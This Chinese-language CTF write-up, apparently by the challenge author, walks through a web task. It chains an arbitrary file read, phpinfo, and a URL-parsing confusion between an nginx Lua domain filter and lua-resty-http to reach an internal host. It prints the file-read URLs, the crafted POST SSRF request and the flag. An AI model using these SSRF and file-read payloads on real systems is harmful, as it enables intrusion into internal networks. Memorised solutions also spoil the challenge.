这次决赛出了一个web题目,是之前准备hw的时候挖洞挖到的有意思的SSRF,最后有很多队伍做出来。
1. 预期解
题目给了file.php(任意文件读)和p.php(phpinfo),可以获得题目环境的一些信息,方便本地调试。同时通过读取 /flag 获得flag不在该服务器上,而是在内网另一台服务器上。
1 | http://ip/file.php?file=/flag |
GET SSRF找到另一台机器,发现需要一个POST SSRF,file_get_contents最多发起get请求。同时这里也有一些多此一举过滤了gopher,默认fopen是没有gopher的wrapper的。1
http://ip:41071/file.php?file=http://172.26.0.3
通过本地起docker查看nginx默认的配置文件位置(或通过phpinfo查看)。
1 | http://ip:41071/file.php?file=/etc/nginx/conf.d/default.conf |
发现了题目可以ssrf的地方,但是要绕掉过滤,这里可以fuzz,当然也可以去看源码 https://github.com/ledgetech/lua-resty-http
这里也能下到这些库的地址。
考察点为:找到一个url,满足下面的条件
- 在nginx中的lua代码实现的 匹配到domain是 //r3kapig.com/ 即完整url中包含上述字符串
- lua-resty-http中,url parse解析的地址为我们ssrf想访问的地址:172.26.0.3
最终利用构造好的poc,打到内网中另一台机器,拿到真正的flag。1
2
3
4
5POST /api?url=http://172.26.0.3:80%20/index.php?//r3kapig.com/aa HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
good_you_got_it_XD=/flag
部署备注
- WEB方向的解题题目,两个容器的题目,理论上尽量不合并在一台(也不是不能合并)
- 题目尽量出网(进行dns查询)
flag
1 | QWB{wow_y0u_ar3_mast3r_0f_1uaaa} |
防止非预期
- 把lua编译(使用了luajit),提高题目难度
- 确认file_get_contents在ban掉gopher的情况下不能post ssrf
- frontend/backend web目录设为不可写。
- smity验题
- 日志文件不能被读取。
最后
本来设置了抓流量的功能,但是因为这个ssrf执行的周期较长,有队伍在扫描端口的时候把题目打挂了= =迫于大家做题优先,就给予了合理范围内的提示,以及多个主机。